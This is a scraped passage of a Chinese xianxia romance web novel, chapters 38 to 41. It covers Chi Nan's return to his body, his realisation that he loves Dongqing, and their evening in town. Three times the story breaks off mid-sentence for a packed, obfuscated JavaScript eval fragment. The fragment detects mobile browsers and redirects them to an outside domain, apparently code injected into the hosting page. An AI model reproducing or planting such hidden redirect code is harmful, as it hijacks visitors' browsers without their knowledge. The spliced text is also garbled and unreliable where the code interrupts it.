两人一路抄近道来到木槐院,越过一片花开正盛的槐花林后,来到一片幽静竹林。 池南真气如刃,三下五除二地切下来好些竹叶,又以最快的速度回到快哉风,将鲜嫩的竹叶泡在尚且滚热的水中。 他又小心翼翼的抿了一口,熟悉的、带着竹叶清香的温润口感在口中荡开,瞬间抚平了那丝莫名的滞涩感。 池南舒服地长吁一口气:“这才对。” “稀奇。”无相摇着头,“竹叶泡水竟然好过君山银针,你简直暴殄天物!” 池南又加了两片竹叶,“谁说竹叶泡水就不是天物了,在我这它就是好过君山银针。” 无相啧啧两声,捧着一堆竹叶凑近,眯着眼,促狭地问,“我说,你该不会是想小冬青了吧?” 38. 第 38 章 “胡说什么?”池南瞪他一眼,“才一天不到,我想冬青干嘛?” “哦呦,刚才是谁说竹叶泡水是天物来着?”无相一脸“我都看透了”的表情,“我说,你到底是喜欢竹叶泡水,还是喜欢泡竹叶水的那个人呢?” 池南一口茶水呛在嗓子眼里,耳朵内侧肉眼可见的泛红。 他咳了半天,沙哑着声音威胁,“无相,再乱说小心我把你打回原形。” “嘁。”无相不屑一顾,“你要不要看看你爪子下边按的什么,从回折云宗开始,你就没松过手!” 说完,无相扒着下眼皮冲他一吐舌头,一溜烟跑走逍遥去了。 池南愣愣感受着掌下硌人的硬物,抬起一看,顿时呼吸一滞——他竟不知什么时候把冬青的血镝,缠在自己腕上了。 他变回人形,看向琉璃茶盏中悠然飘荡的嫩绿竹叶,那竹叶浮浮沉沉,水光潋滟间,透出来一个再熟悉不过的天青色身影,池南定定看着那身影,瞳孔微缩。 再一眨眼,身影又散开了,复归回那片润泽的竹叶。 【你到底是喜欢竹叶泡水,还是喜欢泡竹叶水的那个人呢?】 无相方才插科打诨的问话蓦地在耳边响起。 他真的是喜欢竹叶泡水吗? 池南将微温的茶盏握在手里,或许并不,他想。 那他喜欢冬青吗? “冬青……”他不自觉低声念出这两个字,话音脱口而出的瞬间,连他自己都愣住。 他真的,喜欢冬青吗? 是什么时候的事? 池南望着竹叶出神,那竹叶轻轻飘荡,水面竟如镜花水月般浮现出两人初次见面的那个暴雨天,雨势滂沱,身形瘦弱的小姑娘把他护在身下,死不松手。 画面一转,是冬青在闻氏兄弟衣柜里放鸡骨架,他说她蔫坏。 水中倒影不停变换着,但画面中的主角,无一例外都是冬青。 冬青在绛茵谷,用匕首扎进雪硝鳄的眼睛。 冬青笨拙地用扫帚学他的剑法。 冬青在鱼灯下对他伸出手,她眼眸黑亮如星,映出他的倒影。 冬青识海中参天巨树蓬勃无边,浅水泼了他一身。 冬青在平野山采楤木芽,戏弄他洗澡。 冬青在九幽冰崖突破第三式,救了他和无相。 冬青用一支桃花打败了关至,愈发受人尊敬,他为她高兴。 冬青…… 有关冬青的一切,在他眼前清晰地浮现。 池南下意识伸出手指,想要轻点那个身影,指尖触及水面,涟漪荡开,冬青的身影随之消散在水中。 他动作一顿,水面晃动间,映出他不知何时悄然上扬的嘴角。 松风不合时宜的掠过,吹动他细碎的额发,檐角悬挂着的西蛮荒的梵铃,叮叮咚咚的响。 一如他纷乱的思绪,不断在逼仄的身体里横冲直撞。 他总算明白为什么看见冬青修为突破比自己突破还欢喜,为什么千金难求的剑法他想都不想就教给她,为什么看见她被闻家兄弟欺负会生气,为什么看见冬青的幻境会忍不住落泪,为什么离开之前频频回望…… 心脏像塞了棉花,柔软又酸胀,池南确认了,他真的喜欢冬青。 至于究竟是始于哪个瞬间,他已无从追溯,但他能确定,每个瞬间,他都喜欢。 他喜欢冬青,那冬青喜欢他吗? 他忽而又感到一阵失落,好像……也不。 这种感觉太过奇妙,仿佛一会儿身在云端,一会儿跌落谷底。 咚、咚、咚…… 大起大落令他心脏狂跳不止,好像每一下都在迫不及待的说喜欢,迫不及待想回去见她一面。 他一会儿站起,一会儿坐下,一会儿对着井水端详自己的面容,一会儿折了松枝在院子里不停踱步。 远处急匆匆赶回来的燕明光看见这一幕愣在树下,“我师兄这是……” “别管他。”无相蹲在松梢,也没管燕明光其实根本听不见,答道,“思春了呗。” “师兄?”燕明光捧着一个精致的丹药盒,小心翼翼凑近。 池南听见声音,迅速收敛了所有外露情绪,若无其事的将手上松枝放到桌上,视线落在他手里的盒子,“补元丹?” “我全程盯着飞英真君炼的,品质绝佳。”他把盒子递给池南,“师兄你离元神归体就差临门一脚了,一颗补元丹用下,你定能恢复!” “来吧,你为我护法。”池南并指如剑,凌空一挥,一缕真气疾射而出,钉在门口的古松上。 霎时,整片松林轰隆变换,崖边云海受到召唤般向上漫涌,一个天然阵法将快哉风牢牢包裹起来。 两人打开暗门,一路来到密室。 池南盘坐在榻上,手里握着那颗莹润生光的补元丹。 燕明光握着乌啼剑立在门前,持剑一横,凌厉剑气在门口撑开第二道屏障。“师兄,你安心聚神吧。” 池南点点头,将补元丹取出,放在掌心里结印起势。 补元丹慢慢升起,悬浮在他身前,融化消散一般化作缕缕精纯的白色灵蕴汇入他体内。 一时间,全身真气如百川归海,排山倒海向眉心汇聚,半透明的身躯几乎变得完全虚无,惟有眉心一点赤色越来越盛,如一轮微缩红日。 池南掐准时机,并指在眉心处一点一勾! 至纯真气以他为中心悍然荡开,密室内摆设叮咣砸在地上,连燕明光也被他震退半步。 指尖勾出的凝实元神在空中停留一瞬,随后乳燕归巢般,没入榻上真躯的眉心。 燕明光和无相忍不住上前一步,两人提心吊胆注视良久,只见榻上人青白的面色逐渐恢复红润,周身开始有磅礴真气止不住外溢流转。 就在九重天的威压就快让燕明光吃不消时,榻上人浓密的眼睫剧烈颤动了一下,旋即猛地睁开眼睛。 那是一双清冽锐利,久违的琥珀色眼瞳。 池南翻身坐起,扫了一眼师弟,随后盘坐收势,真气被他尽数收回体内。 “师兄!”燕明光凑上前,“太好了,你可算回来了!” “不算回来。”池南起身活动了一下久违的筋骨,“我还要走。” 燕明光喜悦凝固在脸上:“啊?” 无相一副看穿了的样子,拖着长音,意味深长地“呦”了一声。 元神刚刚归体,池南尚有些虚弱,他正要走出密室,忽然余光撇见榻边已无生机的狐狸身躯。 他停住脚步,俯身将狐狸捡了起来。 燕明光回头看去,问:“还能活吗?” 池南摇摇头,眼神复杂,其实这狐狸在那个暴雨夜已经气息全无了,不过是恰好给他的元神提供了一个栖居之地。 他若有所思,拎着狐狸后颈对燕明光说,“你先去院子里等我,我……处理一下它。” 待燕明光走后,他从书架上取下一本古籍,这是他从东晋鬼市淘来的,记载着诸多偏门傀术的秘籍。 白晓城一事尚未查清,他现在还不能顶着这个身躯出去招摇撞市。 他将狐狸轻轻放在地上,取下石壁上挂着的无相剑,照着书用剑尖在地上画了一个法阵,把狐狸放到法阵正中,双手结印驱动法阵。 呼—— 法阵爆发出刺眼的紫色光芒,狐狸飘浮在法阵中央,被强烈到发白的法阵光芒吞没。 能量剧烈波动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362884|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 密室中气流盘旋。 一盏茶的时间过去,法阵光芒才渐渐消退,传来硬物落地的“啪嗒”轻响。 一个巴掌大的用碎布拼凑出的灰扑扑的狐狸布偶躺在地上,质朴的有些简陋,看起来就跟哄小孩儿玩的那种差不多。 池南将其捡起,寻了根结实的细绳挂在腰间。“你我也算相识一场,你就权当再帮我个忙,等我什么时候不需要你了,我定把你恢复真身,妥善埋葬。” 他佩好剑,目光又落在石桌上的血镝。 琉璃身在壁龛烛火下闪烁着微光,池南将其握在掌心里,拇指轻轻摩挲着光滑温润的表面。 他将其缠在腕上,又怕磕碰碎掉;将其收进乾坤币,又怕混在诸多杂物中不小心丢失。 感觉收在哪里都不够稳妥。 忽然,他想到什么,眸光一闪。 下一刻,他鬼使神差的,解开绳扣,微微低头,将血镝系在自己脖颈上,轻轻塞进贴身衣襟里。 冰凉的琉璃贴着温热的皮肤,带来一丝奇异的触感。 这下稳妥了。 除非他被一剑贯胸,否则这血镝就是世间最安全的存在。 心里还存着要紧事,他脚步也匆忙起来,燕明光一见到他出来,就敏锐的捕捉到他腰间多了个狐狸挂件。 “师兄,你把它做成傀儡了啊?” “嗯,临时的。”池南掂量了一下轻飘飘的布偶,“来日我会将其恢复。” 燕明光:“对了师兄,你刚说要走,是要去哪?” 池南一边将屋里零散的、他觉得用得上的法器搜刮进乾坤币,一边抽空回应他,“回仙人顶,给冬青布阵的人发现血镝是假的,不防会再找上门来。” 燕明光欲哭无泪,自池南受师父之名外出寻找血镝后,除妖的担子全落在了他肩上,他一边带队四处奔波除妖,一边千方百计寻找师兄的元神,昼夜不停,好久没睡过一个好觉了。 而他师兄却在仙人顶与一个小姑娘卿卿我我! 还把他心心念念的无相剑法教给她了! 他几乎声泪俱下地问了自华胥问道以来一直盘亘在他心里的问题:“师兄,那个冬青在你心里的地位是不是已经超过我这个师弟了?” “咳。”池南假装自己没听见,埋头整理法器,终于在箱底找到了自己想要的东西——一块寒气森森的玄冰铁。 燕明光真要哭了:“师兄,你还是不是折云宗的人啊?你不会哪天真就抛弃我跟师父跑去仙人顶了吧?” “哪能呢。”池南收拾的差不多了,走到燕明光面前,很是自然地摊开了手掌,“有钱吗?” 燕明光:“???” 你还要带着你师弟的血汗钱,去找别的宗门的小姑娘?! “有没有?”池南催促道,“我屋里的东西你随便挑,卖钱还是自己留着,你随意。” “真的?!”燕明光眼睛瞬间亮了起来,边说边忙不迭掏钱,“这可是你说的,师兄!可不能反悔!” “再废话不给了。” “别别!”他忙不迭把一沓飞钱拍在池南手上,转身就饿虎扑食般蹦到屋里,奔向他眼热已久的法器去了。 天光湛澈,鸟雀啼鸣,光斑透过松间轻轻洒在地上,似在水波中晃动。 “那我走了?师父出关了记得给我传信。”池南手一挥,一个传送门在面前展开。 “嗯嗯,师兄放心!随时传音铃联系!”燕明光百忙之中扔给池南一个“放心”的眼神。 池南轻笑一声,转身踏进传送门。 传送门彻底关闭后,燕明光坐在琳琅满目千奇百怪的法器堆里仰天长啸,“师兄!!你怎么把我心心念念的玄冰铁也拿走了啊!!!” 39. 第 39 章 仙人顶秋芳晴好,落叶悠悠飘荡在满溢的圆井边缘,平静的水面如一方墨玉,倒映出清朗的长空。 冬青踏入传送门后,直接回到了竹居。 紫荷单开了一个传送门,前去南氏找桑善道人去了,竹居还是仅有她一人居住。 内门考核在近,柳又青匆忙跟她打过招呼后,便被柳兰瑛抓去恶补其他四道。 冬青不是外门弟子,所以要等到冬日仙人顶广招时才能入门。 她将手掌贴在竹居木门上,微微用力。 吱呀—— 木门轻响着被推开,几日未洒扫,光线中浮动着些细碎尘埃。 她将窗棂一一支起,清风瞬间灌进,桌案上整齐摆放着的书页被吹得哗哗作响。 冬青打了些水,挽起袖子,将竹居里里外外仔细地打扫了一遍,随后提着水桶去给紫荷师姐的花圃浇水。 木桶“咚”一声落在地上,荡出几滴冰凉井水,溅在她衣摆。 冬青撤下挡雨的棚子,用葫芦瓢舀了一瓢清水,正要浇下时,她动作蓦地停住。 两株芍药间的空地上,静静躺着一小张竹编席子,上面铺着一张靛色织布,边缘已经磨得粗糙,起了毛边。 这本是无相平日小憩的地方,他总一袭白衣躺在泥地里,而冬青喜洁,于是动手给他编了这张竹席。 想来也用不上了。 她想着,俯身把竹席和垫子捡了起来,拍落夹在缝隙里的泥土。 待会洗干净后收起来吧。 万一…… 她摇摇头,止住了自己荒唐的想法,转身又打了一桶井水。 浇灌完花圃后,她拿起一旁杂物堆里落灰的扫帚,目光却不自觉的瞟向一边——门边窗下支着小红给她寻来的竹子。 她把扫帚放下,目光还定格在那根竹子上,片刻后,她抬步向门边走去,同时手指轻轻一绕,浮于青砖表面的灰尘落叶似乎有生命一般,温顺地盘旋起来,十分乖巧地汇聚到院落中央,等待冬青将其清扫。 那根翠竹斜倚在门边,不知为何,冬青竟从一根竹子上咂摸出几分不羁的意味,她抄起竹子,缓步走到竹林中央。 她还未曾试过,无相剑法若是与御物结合起来,威力会不会更强。 想法还未成形,身体便先行动起来。 冬青闭上眼睛,感受着掌下竹子细腻的纹路和周身万物的气息。 一阵风来,那道身影倏然动了! 翠绿竹枝在她手中竟如一条灵动的绿色长鞭,在空中疾速旋动出道道青影,一刺一收刚柔并济,时而柔软如绵帛,时而刚劲如长枪。 疾风骤起,竹林随她狂舞,漫天竹叶扑簌着盘旋向上,汇聚成一条长龙,阳光直洒,如覆金甲,在冬青身侧呼啸盘旋! 随着一招“惊风乱飐”当空劈下,长龙张开深渊巨口,携万钧之势从她身侧直冲向前! 轰隆—— 狂风卷得衣袂猎猎作响,尘土漫天,竟短暂遮蔽了日光。 天昏地暗间,冬青单手持竹岿然不动。 风渐渐小了下来,尘土翻滚着荡开,冬青睁开眼睛—— 前方竹林被她尽数摧残断折,七扭八歪地倒在地上,眼前豁然开阔起来,甚至能直接望到远处的修心池。 她微微喘着气,将竹枝撑在地上,静默地看着眼前堪称暴虐的一幕。 她也不知道这是怎么了,好像迫切需要一个出口,发泄心中不知从何而起的戾气。 发带黏在颈侧,她勾指将其挑开,胡乱抓了把额前散落的发丝。 气是出了,祸却也闯了。 她叹息一声,认命地开始复原竹林。 直到暮色四合,才勉强恢复个七七八八,至少从外面看的话已经和之前一般无二了。 她拖着竹枝回到竹居,从水缸里拿了两个归元果。 小红和无相走了,她也收拾了一天,懒得开火,便又如从前那般用归元果糊弄一顿。 从前那般。 她想着,用力咬下带着涩意的青果,她又是一个人了。 小院寂静无声,竹林里时不时传来几声半死不活的啼鸣,只有她咔嚓咔嚓啃果子的声音回荡在空旷的院内。 酸涩汁液在口腔内炸开,酸的她微微皱眉。 酸后紧接着便是苦,从喉间一直蔓延到心肺,苦得她四肢发麻。 从前再苦再涩的归元果她都吃过,怎么今天反应这么强烈? 她食之无味地啃光两颗归元果,走到古井旁边盥手。 水面晃动着清圆的月亮,冬青面无表情的脸庞倒映在水面中,她嘴角时常是抿直的,因此显得整个人格外戒备,透着股生人勿近的气息。 她动了动嘴角,发现效果还不如抿直。 井水冰凉的触感顺着五指爬向躯干,她垂下眼睫,将手从水中拿出。 水面荡起褶皱,冬青甩着水珠,余光忽地一亮,目光重新投向水面。 她微微睁大眼睛。 闪烁着银光的水面上,倒映出一个少年清朗的笑脸。 她猛地回头看去,脱口而出,“小红?!” 无相甩着拂尘,“哎”了两声,“小冬青,你怎么光叫他,不叫我啊?” “无相。”冬青难以置信地看着突然出现的两人,“你们怎么……” “还不是这小子……!” 无相话音未落,便被池南捂着嘴推开。 冬青看向池南。 他面色微红,额头渗着细密的汗珠,不知是匆忙赶路所致的还是怎样,胸口微微起伏着,琥珀色眼瞳在月光下莹亮亮的,带着明显的笑意。 他语气含笑,垂首看向冬青,“你们仙人顶的护山法阵还真不好进,费了我一番功夫。” 冬青至今还有些怔愣,“你怎么回来了?” “怎么?”池南凑近一步,语气中带着不易察觉的期待,“不欢迎我?” 她微微皱眉,不知道该说欢迎还是不欢迎,“欢……迎?” 池南抱臂挑眉看向她,“怎么还是个问句,我刚恢复元神便赶回来了,怎么都值得一句欢迎吧。” “欢迎。”冬青从善如流,顺着他应了一句。 两个人对视片刻,不由都笑起来。 “对了,那片竹林,是你弄的吗?威力倒不小。”池南指向外表伪装得毫无破绽的竹林。 “不是。”冬青面不改色心不跳。 池南缓步凑近,笑意促狭,“这么想我?” “?”冬青一副“见鬼了”的表情看着他。 “真不是你弄的?”他忍笑追问。 冬青摇头,“不是。” “好吧。”池南摊开手,“白费我回来的时候顺手复原了,早知道不多此一举了。” 冬青眨眨眼,越过他看向竹林,真气悄然蔓延,探向竹林深处。 果真复原了! 她心里泛起一丝隐秘的欢喜,却还是板着脸问,“所以,你为什么回来?” 池南发现她高兴的时候眼睛会发亮,尽管她努力克制着,那双黑亮的眼睛还是出卖了她。 他低头轻笑一声,怎么这么可爱。 “笑什么?” 他回过神,清了下嗓,“血镝迟早会被发现是假的,届时幕后之人定会再次找上门来,我也想看看他究竟是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362885|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么妖魔鬼怪。” 这话说的倒合乎情理,冬青半信半疑,终于将两人迎进了门。 一进门,池南就发现了桌上两个未清理的归元果核,他眉头一皱,“你又糊弄。” 冬青撩起眼皮瞥他一眼,手一伸,抓过两个果核,丢进角落簸箕,一套动作行云流水一气呵成,她拍了拍手,反将一军,“糊弄什么?” “……正好。”池南倚在门框上,跟那根翠竹如出一辙,只不过是根红竹,他扬了扬下巴,“走,下山,我请你吃顿好的。” 冬青狐疑看向他,“你有钱?” “小红没有。”他摇摇头,有些小得意,“但池南有。” “哎呀!小冬青,别推脱了!”无相推着她肩膀,咬牙切齿道,“他有钱的很!还不趁机宰他一顿!” 两人一拍即合。 为出行方便,池南解下腰间狐狸傀儡,身形化作一缕红雾钻进布偶里,布偶“嘭”的一声变大,变成昔日那个毛发柔顺的小红狐狸。 两人在冬青的带领下顺利出了山门,山下小镇灯火长明,登高俯视,如一条条发光的橙黄色河流在山脚下蜿蜒流淌。 池南出了山门便变回人形。 嵩宁镇今夜格外热闹,大街小巷各色铺子林立,卖花灯的小摊尤其多,琳琅满目,光影瑰丽。 “今儿是什么好日子吗?”无相四处张望。 冬青思索了一下,摇摇头,“不知道。” “再过几日,便是中秋了吧?”池南望着满街灯火,轻声道。 “中秋好!中秋有月饼吃!”无相雀跃起来。 冬青嫌弃,“你脑子里除了吃还有别的吗?” 无相双手捂着胸口,夸张嚎叫,“小冬青!你这么说话是会伤人心的!” 一旁的小贩挥着汗巾,举着一盏做工精致、栩栩如生的粉色莲花灯,殷勤吆喝道,“姑娘!公子!看看咱家的河灯吧!有莲花的、有鲤鱼的、还有鸳鸯的!中秋放上一盏,夫妻美满,团团圆圆!” “咳咳。”池南险些被自己呛到,若不是灯影朦胧,此时他红的异样的耳尖定格外惹眼。 冬青只是淡淡看了一眼,“做的蛮好的。” 小贩一看有戏,便更卖力的吆喝起来,他捧着鲤鱼灯,捏着尾巴作游动状,“这是咱们家的鲤鱼灯,寓意年年有余,吉祥庆和!” 又捧起一对并蒂莲灯,“这是并蒂莲,心意相通之人或是新婚小夫妻放上一盏,寓意长长久久,同舟共济。” 池南紧张地盯着冬青被暖色灯火映亮的侧脸,可冬青驻足听完小贩激情昂扬的介绍,却丝毫没有掏钱的意思,只是点了点头表示赞许,“嗯,都很好。” 说完拔足便走,活像个骗心骗财的负心汉。 小贩口干舌燥,哭丧着脸看向池南。 池南做贼似的瞟了一眼径直离开头也不回的冬青,目光垂落,最终停在那盏相依相偎的鸳鸯灯上。 犹豫片刻,他指尖移向一旁的莲花河灯,问:“这个有什么寓意吗?” 小贩立刻精神一振,搓着手答道,“公子好眼光!这莲花河灯寓意可是顶顶的好,一寓意祈福消灾,诸事顺遂;二寓意团圆和美,阖家安康!” 池南凝眉犹豫片刻,取出银钱,“劳烦帮我包一只莲花灯。” 他尚不确定冬青的心意,买只鸳鸯灯着实唐突,不如先选这盏寓意平安团圆的莲花灯,待日后……两人心意互通之时,再放鸳鸯灯也不迟。 他看着手中那只水粉色的莲花灯,眉眼被暖色光晕笼罩,似乎不自觉柔和下来。 无论冬青喜不喜欢他,都要诸事顺意,平安快乐才是。 40. 第 40 章 长街人群摩肩接踵,冬青穿梭在花样百出的小摊前,这看看那看看,却始终没有长久驻足,似乎没有什么能让她真正感兴趣一般。 倒是池南,一路上紧跟在她身后,身上拎的包裹倒是越来越多,乾坤币在掌心不停颤动,似乎在控诉频繁的花销。 穿过摊贩长龙,前方便是穿成串的酒楼客栈,无相挑挑拣拣,最终停在一家金灿灿的酒楼前。 冬青抬头看了眼,“你倒是挺会选。” 眼前琼台玉宇,雕梁画栋,檐角挂着兽角纱灯,红绸暖帐在纸窗后若隐若现,阵阵酒香从敞开的大门内飘出,闻之欲醉。 这是嵩宁镇最大的一间酒楼,酣高楼。 “长风万里送秋雁,对此可以酣高楼。好名字。”池南站在一旁,低眉征求冬青意见,“你觉得如何?不用听无相的。” “这最贵,就这儿吧。”冬青点点头,侧身和无相一击掌,信步闲庭地走了进去。 即便夜深,酒楼内仍是人声鼎沸,好不热闹。 两人刚一进门,便有小二堆笑迎上,“二位客官里面请!” 池南略一打量,问,“二楼有靠窗清静些的位置吗?” “有!有!”小二忙走上前引路。 两人挑了个靠窗的雅间,从支起的窗棂向下望去,能看到灯火通明的热闹巷子。 池南把食单递给冬青,示意她点菜。 冬青浅浅扫了一眼,皱起眉头。 青霭浮玉、月窟琼枝、金绥缠木…… 这都是些什么玩意? 她盲僧一样翻来覆去看了两遍,怀疑起这家酒楼是不是因装潢雅致来骗钱的。 半晌,这场旷日持久的无声对决以冬青投降认输结束,她伸长胳膊将食单往对面一递,嘴上却仍不承认,只是说,“我都可以。” 池南疑惑着接过食单,看清上面的字后也是眉心一跳。 他坐直了身子,不好意思说自己也看不懂,于是只能叫来小二,硬着头皮点了几个名字不知所云但是格外雅致的菜。 “你看得懂?”冬青打量他,似乎在分辨他到底是因见多识广而真的看得出那是什么菜,还是也跟她一样是个睁眼瞎。 “略懂。”池南不动声色的抿了口茶。 无相嫌弃地瞥他一眼,倒也没有戳穿他,只是抱着拂尘频频向门口遥望。 不多时,小二便端着菜敲门走进,一边将盘子一个一个摆放在桌子上,一边报菜名。 “客官,您的青芜叠雪。” “素月流霜。” “红泥坠絮。” “金绥衔珠。” “……” 池南的脸色从第一道菜开始就差得要死,而冬青只是扫了一眼小二手中的盘子,便目不转睛地挑眉盯着池南。 待小二走后,她才忍笑开口,指着一盘凉拌黄瓜,“青芜叠雪?” 干净的指尖移向一盘朴实无华的蒸山药,“素月流霜?” 又指向炖的红亮的排骨,指尖抵在唇下“唔”了一声,这个还不错,“红泥坠絮,倒也……形象。” 池南后仰靠在椅背上,手肘掩面,虚弱的声音闷闷传来,“……别说了。” 冬青忍俊不禁的声音传来,“挺好的。” 池南把胳膊放下,直起身子耳尖通红地看向她。 她语气轻快,“自打回闻家后,除了红豆带的那几顿,数这顿最好了。” 池南嘴唇长了张,眼神透着股她看不懂的情绪,不过终是什么都没说,只是将筷子一丝不苟的擦拭干净后递给她,“尝尝味道如何?” 冬青在他的殷切目光下卡了一筷子蒸山药放进嘴里。 味道竟还不错。 冲着味道,她可以不计较名字。 池南语气有些急切,“如何?” 冬青点了点头,“好吃。” 池南松了口气,由心一笑,“那就……” 砰—— 一声撞击硬物的巨响从窗边炸开,冬青筷子一抖,起身将窗棂支得更开了些。 一只白雀晕头转向的扑扇着翅膀飞进来,羽毛扑簌簌抖落,在落进盘子前被池南眼疾手快的捞起来。 它在桌面上盘旋片刻,旋即直直飞到冬青面前,将嘴里衔着的一卷纸条放到冬青面前的桌子上。 她迟疑着展开,只见上面赫然写着,“酉月初八,崔师姐早膳食素包子两个,清粥一碗。上午修习阵道,下午去谷心找谷主,彻夜未归。 酉月初九,崔师姐午时归来,指导外门弟子修习,晚膳食金齑玉脍整整一盘,不曾有一块入小弟腹中!” “……”冬青沉默着将纸条搓成一团,伸出窗外,拇指和食指一捻,纸条便在指尖燃烧起来,眨眼成了一撮浮灰,风一吹便散了。 这时,那只愣头愣脑的白雀开口了,关至谄媚至极的声音传来,“冬青妹妹,两条消息了,可否再开金口,告知小弟两个字?” 原来是关至的传音灵,怪不得傻里傻气的。 池南眼角一抽,强忍烤鸟的欲望,后仰抱臂看着白雀。 冬青闭眼深吸一口气,“下两个字是‘万物’。还有,下次这种无用的消息不用告诉我了。” “好的老大,小弟关至将永远追随你的脚步!”白雀忙不迭点头,展开翅膀,“不打扰老大了,小弟先退下了。” 待白雀飞走后,池南起身将窗关了些,“你让他帮你监视崔香雪?” “一条消息换御物心法里的一个字。”冬青吐出干净的骨头,“说来还是他赚了。” 池南失笑,“是是,就算你把心法怼他眼前他也未必看得懂。” 望月谷。 关至喜笑颜开的在纸上写下“万物”两个字,一抬头,白雀扑扇着翅膀凭空出现在面前,他忙仰头躲开。 他抓着白雀的膀子,气急败坏道,“下次能不能不要突然出现!” “下次能不能不要突然出现!”白雀歪着头重复。 “……”关至一口气差点没上来,二话没说把白雀扔乾坤币里去了。 他正要熄了烛火,却忽然看到被烛火映亮的“万物”二字,仿佛突然打了鸡血一般,“噌”一下站起身来,抓起纸笔便跑出门去。 崔香雪的院落仍是一片漆黑,关至贼眉鼠眼地扒着围墙,心下了然,定又是去了谷主那里。 他抬头瞧了眼月亮,手在下巴上搓来搓去。 要不……他也偷偷去谷底看看? 关至一边在心里暗骂自己真是胆大包天,一边飞快地溜回自己屋子换了一套暗色的弟子服蹑手蹑脚出了门去。 他一路小跑到谷底,却不敢靠近那灯火通明的谷主老宅,于是爬到最高一棵树上,把耳听八方的法器套在自己耳朵上,贼兮兮地盯着那院落。 “顺风耳”里传来不知是瓷器还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362886|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁的什么碎了的清脆巨响,震得他连忙把顺风耳拿远了些。 紧接着谷主震怒的吼声传来,“假的!!” 关至心里疑惑,什么假的?他又把顺风耳贴近耳朵。 随后,嗡—— 远在千里之外的冬青脑海突然嗡了一下,有什么类似钟磬的东西在颅内敲响,几乎要将她魂魄震出身躯。 她脚步不禁踉跄了一下,下意识伸手抓了一把前面人的袖子。 池南感受到衣袖一紧,回头一看,几乎是本能地接住了差点摔倒在地的身躯。 “冬青?冬青!”他托着她的胳膊,语气焦急,“你怎么了?” 长街人流如织,头顶灯火缱绻,可手掌触碰到的温度却格外冰凉。 “没……没事。”冬青有一瞬恍惚,借着他的力起身站稳。 忽然有什么暗色的液体向下滴落。池南接了一把,抬手一看,瞳孔皱缩—— 是血! 他连忙握着冬青的肩膀,微微俯身看向她。 冬青鼻下正有源源不断的鲜血流出,她用手捂着,指缝很快便渗满殷红。 池南慌忙抽出一张干净的方巾,一手托着她后脑,一手将方巾不轻不重地按到她鼻下,“怎么回事?怎么突然流鼻血了。” 他的话像隔着一帘水幕,咕嘟咕嘟地涌入她耳中。好半天,她才从那声钟磬般的余音中挣脱出来。 她从池南手里接过方巾,哑着声音,“你方才跟我说什么?” “我说,好端端的怎么流鼻血了?”他握着她的手腕,将她带到不远处的一条小溪边,将方巾在水里投净拧干,重新递给她。 冬青此时已经不怎么流鼻血了,她接过方巾捂在鼻子上,闷声道,“方才脑子‘嗡’一声,可能是从幻境出来后还没缓过来。” “这都多少天了,怎么还没好?”池南又变戏法般拿出一张帕子,沾了水后走到她面前,轻轻擦拭着她脸上干涸的血迹。“我认识一个隐居的丹修,医术精湛,我带你去,让她给你瞧瞧。” “没事,不用麻烦。”她从池南手里抽出方巾,蹲到溪边洗了把脸,“之前又不是没流过鼻血。” 她眉睫挂着水珠,在溪水微光的反射下似一颗颗剔透的琉璃珠子,苍白的面庞犹如浸水的白瓷,只是鼻孔有一圈红,在白净的皮肤上格外刺目。 池南怔了怔,随后走上前来,用袖子拭净她脸上的水珠。 他动作轻柔,擦拭的分外仔细,在触及她眉心时冷不防撞进那双写满困惑的黑眸。 他手一抖,连忙后退一步,有些语无伦次,“咳,那个……天气凉了,小心……小心着凉。” 眉心那点温热被溪边冷风一吹便散了,冬青忍不住伸手碰了碰。 “离这里很近,随我去吧,好么?”池南嘴上虽是在征求她的意见,却不等她应答便挥手开了个传送门,根本没给她留拒绝的余地。 “我有说不的选择吗?” “想必没有。”池南轻轻拽着她,踏入光门里。 咸涩的风扑面而来,阵阵浪涛声在天地间回荡,脚下传来松软的触感,冬青睁开眼睛,一轮巨大的明月正悬在远海之上。 海? 若她记得不错,北诏的最西面,与西蛮荒的交界处,才有一片海,叫不归海。 天青色的发带越过肩膀向前飘去,冬青侧头看向池南。 “这叫近?” 41. 第 41 章 池南回头望向崖边,黑灰色高耸陡直的崖顶上静静伫立着一间小院,灯笼被海风吹得摇晃不定,忽明忽暗。 “开传送门能到的,就不叫远。”他手臂向前一甩,无相剑铿然出鞘。 池南轻轻一跃,踏上停在空中的无相剑,蹲下身向冬青伸出手,“来。” 冬青迟疑了一下,也伸出手,却并未回握。 一阵窸窣的声音响起,崖边悬挂着的粗藤像小蛇一样游弋到她脚边,轻轻将她托了起来。 “也好。”池南笑了一下,踏剑起身。 